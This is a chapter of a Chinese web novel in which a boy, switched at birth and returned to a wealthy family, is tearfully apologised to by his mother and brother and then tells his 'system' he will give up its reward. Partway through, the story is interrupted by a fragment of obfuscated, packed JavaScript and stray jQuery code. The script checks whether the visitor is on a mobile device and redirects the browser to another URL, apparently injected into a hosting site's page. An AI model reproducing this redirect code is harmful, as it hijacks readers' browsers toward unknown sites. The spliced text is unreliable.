江祁阳手上的伤口虽然看着恐怖,但全是些细小的擦伤,去医务室清理干净后贴了几张创可贴就盖住了。
他低着头,任由林念安牵着往校门口走,整个人还有些恍惚。
方才的动静闹得不小,周围家长学生在小声议论,但他听不清这些人在说什么。
林夫人的手很暖,握得很紧,像他小时候无数次午夜梦回时想象的那样温柔又坚定地与他的手掌贴合。
好温暖,好舒服。
.
司机的车停在学校停车场,这回林夫人不像往常一样把后排空间留给两个同龄孩子,而是自己陪在了小儿子旁边。
车门关上的一刻,世界安静了,狭小的车厢内似乎只剩下每个人的心跳声。
江祁阳静静等待审判开始。
车子驶出校园,街边的路灯渐渐亮起,微黄的光照进车内,却没有一个人开口说话。
林夫人目视前方,一动不动,似乎在酝酿着什么风暴。
江祁阳紧张的情绪找不到宣泄口,想起刚才发生的事,找上系统:「统哥,我最后的结局就只能死掉吗?」
【你完成任务,会得到我们管理局的奖励,送你去一个随你心意存在的世界。】
理论上说,死掉的只有江祁阳在这个世界的□□,他的灵魂会去往另一个完全由宿主期望建造的世界。
「可那个世界里被我设定出来的妈妈……真的是妈妈吗?」
【当然是!】完全的自由意味着新世界的一切都是满足江祁阳个人欲|望的私人定制。
江祁阳嘴角艰难地扯了扯:「我以前从来没想过妈妈会在我被欺负的时候挡在我面前。」
系统没听明白。
人的认知是极其有限的,在没有亲身经历过的情况下,江祁阳不会知道林夫人和许父在处理不同问题时的不同反应。
就像今天之前他从来都想象不到自己会被信赖、被保护。
因为他过往认知中“母亲”从来不是这样的。
「我永远不可能捏造出第二个完全一模一样的妈妈。」
系统沉默了。
人类的情感永远比数据库里已有的记载更加丰富。
.
车子驶入许家大门,院内灯光亮着,树叶被风吹过沙沙作响。
林夫人先一步下了车,径直朝着别墅大门走去。
江祁阳深吸一口气,抱着“早死晚死都得死”的心态跟着下了车。许贺延贴到他旁边朝他眨了眨眼睛,似乎在安慰他放宽心。
玄关的光将影子拉长。
“你们两个先去客厅坐着。”
江祁阳心一沉,心想:来了。
无论林夫人在外面表现的如何,作为许家的孩子,他在外面打了架,就相当于丢了许家的脸面。
更何况最近一段时间他在圈子里本就“劣迹斑斑”。
他和许贺延整整齐齐在沙发上坐下,像两个正在等待训话的小学生。
五分钟过后,林念安抱着本笔记本下了。
她坐在了江祁阳的旁边,开口第一句话却是:
“对不起。”
预想中的责骂没有降临。
江祁阳抬起头,眼底全是迷茫。
为什么要向他道歉?
明明做错事的人是他啊?
林夫人眼眶红了,晶莹的泪水不停打转。
她的声音在发抖:“如果当年我再谨慎一些,安排人24小时守着你,让那个保姆没有机会接近你,你就不会在外面过那么多年苦日子了……”
眼泪一颗一颗顺着脸颊往下淌。她着急用手背去擦,却越擦越多。
当年的真相并没有猜测中的勾心斗角,如果她和丈夫有任何一个人愿意多腾出一点时间给这个家庭,或许就不会发生如此遗憾的事了。
距离预产期还有一周的时候,林念安终于停下手里的工作去医院待产。
那段时间家里的公司也刚起步不多久,很多工作都需要夫妻俩亲力亲为,副总裁一进医院,属于她的那部分工作内容便不得已全都落在了许父头上。
许父忙得不可开交,但老婆也重要,本想着改为线上办公去医院陪产,却被林念安以“公司重要”无情拒绝。
直到生产当天,许父一边在病房外焦急等待,一边还在手机上和国外客户线上开会。
正因为如此,才给了江祁阳的养母陈梅可乘之机。
“我好难过,我一想到我在家里享受着平静安宁的生活,而我的孩子却挤在那么逼仄肮脏的房间里,就连睡觉也只能缩在那么小的飘窗上……”
想起当时去接江祁阳时看到的场景,林念安的抽泣声越来越重。
李伯估计是早有准备,方才就安排佣人离开,空荡荡的客厅只剩下沙发上的三人。
江祁阳僵在沙发上,不知为何,他下意识扭头看向许贺延。
而许贺延似乎早有预料,眼里带着温和的笑意,静静看着江祁阳。
江祁阳心里涌上一股说不清道不明的感觉。
这十七年的生活对他来说是毋庸置疑的痛苦,但对许贺延来说,隔岸观火带来的究竟是庆幸还是愧疚呢?
思索间,许贺延站起来,走到江祁阳面前,弯下腰,郑重其事:“对不起,小阳。”
“……”江祁阳怔神。
他以为许贺延会说点别的。
比如安慰林夫人,或者替自己辩白两句,又或者干脆沉默。
他甚至猜测许贺延会趁机表明立场,毕竟当年的他也只是个刚出生的婴儿,是受害者之一。
可是许贺延仍然道歉了。
“你不用,”江祁阳的声音卡住了,“不用道歉的……和你没关系的。”
他语气断断续续,脑子里成了一片浆糊。今天发生的每一件事都在他的预料之外。
许贺延干脆紧贴着江祁阳的另一边坐下,看见林夫人鼓励的眼神,他的语气更加平稳:“我就是觉得挺对不住你的。”
“虽然当年的事不受我的控制,但到底在你的位置上享受了这么多年,你如果想恨我,我愿意接受。”
“但我们现在唯一希望的是,你之后的每一天都能平安幸福。”
“对。”林念安不顾形象抹干净眼泪,“你以后想要什么想做什么,大胆说就行,千万不要憋在心里。”
江祁阳的鼻子忽然酸了。
他拼命忍着,咬着嘴唇,试图把那股上涌的热意压回去,可眼泪这种东西从来不听使唤。
视线渐渐模糊,然后有什么温热的液体滑过了脸颊。他伸手去擦,却发现手上全是水。
林夫人见他流泪,又开始慌乱:“怎么哭了?是伤口还在疼吗?”
说着便轻轻端起他的手,替他检查有没有被创可贴遗漏的地方。
江祁阳彻底绷不住了,嗓子眼泄出一声哀鸣,紧接着是一波又一波涌出的泪水,不受控制的哭声在空旷的别墅里回荡。
林夫人和许贺延刚开始还试图安慰他,拿纸巾帮他擦眼泪,但一次两次发现怎么也擦不干后,就任由江祁阳哭了。
情绪需要宣泄口,一直憋着只会把人憋坏。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485017|201959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>.
不知道哭了多久,几乎将身体里所有的水分抽干,疲惫感爬满四肢,江祁阳昏昏沉沉失去意识。
再醒来时已经是第二天早上。
房间里拉着窗帘,微弱的光透过罗马杆缝隙钻进来,照在柔软的床铺上。
【早啊小阳!】
系统活力满满,而江祁阳眼皮肿胀难受,嗓子眼干得冒火:“……早。”
【昨天晚上你哭太狠睡着了,林夫人亲自把你背上来的。】
江祁阳扒拉被子的动作一滞,掀起被子把头埋了进去,掩盖自己泛红的耳尖。
“……统哥,我有事想跟你说。”
【怎?】
“任务我还会继续做,该走的剧情会继续走,但是奖励我就不要了。”
【什么?】系统差点宕机,【这条件不是开的很好吗?】
至少迄今为止它还没有遇到过主动放弃的宿主!
【你之前不是还挺心动的吗?】
“如果我死前从来没有见过妈妈维护我的样子,那根据我记忆创造出来的角色也永远不会做出这个举动。”
就像昨天他和别人打架,在手掌轻轻抚摸在他头顶前,他完全想象不到接下来等待自己的竟然不是训斥。
【可是这样的话,你最后的结局就只能是沉入江中。】
“嗯。”江祁阳笑得勉强,“反正我也只是炮灰嘛,再说只是现阶段他们还不知道我真实的脾性,所以对我很好,再过段时间发现我内心恶毒,说不定迫不及待就要把我赶出去。”
系统还想劝,但再继续下去就超出它的工作范畴了,只好作罢。
正巧这个时候房间门被敲响,李伯照例来喊江祁阳下去吃早饭。
江祁阳重新收拾心情从床上爬起来。
等江祁阳下楼到餐厅的时候,许贺延和许父已经坐在餐桌前了。
在看见他的一瞬,许父眼眶似乎闪过淡红,他低着头把牛奶杯推到江祁阳座位前,再抬头已经调整平静。
“小阳快来吃饭。”
江祁阳坐下。
“昨晚的事我听你妈妈讲了,当年我也有很大的责任,该向你道歉的。”
他说着,下一秒就要从座位上起来朝着江祁阳弯腰。
给江祁阳吓得一激灵,刚拿到手里的叉子差点摔地上。
“行了,你别搞这么严肃,到时候又把我们小阳吓哭了。”林夫人把许父按回椅子,又递给江祁阳一颗白煮蛋。
“你试试看能不能消肿。”
她从网上学来的法子,如果不管用,那儿子就只能顶着这对被蜜蜂蛰了似的肿眼皮去上学了。
好在看样子网友没骗人。
“对了,这周六晚上有个拍卖会,主办方送了几张票。我那天有应酬,去不了,你们要去吗?”许父突然出声。
“难得空闲,我约了朋友去按摩。”林夫人道,“贺延,你带小阳去吧。有什么想要的尽管买,钱不够回来找我报销。”
许贺延表示没问题,转头等江祁阳的答案。
江祁阳眼前还顶着两颗白花花的蛋白,像咸蛋超人,模样滑稽,被一桌人盯着顿感不好意思,半天从喉咙挤出来一句:“……嗯。”
【这么快就到拍卖会环节了!】系统突然出声,咸蛋超人的眼睛差点飞出去。
“统哥……”
盯——
【抱歉抱歉。这里是主角攻受感情升温的关键节点,我有点激动。不过告诉你一个好消息,拍卖会期间你没有任务,只需要跟在许贺延后面走剧情就行了。】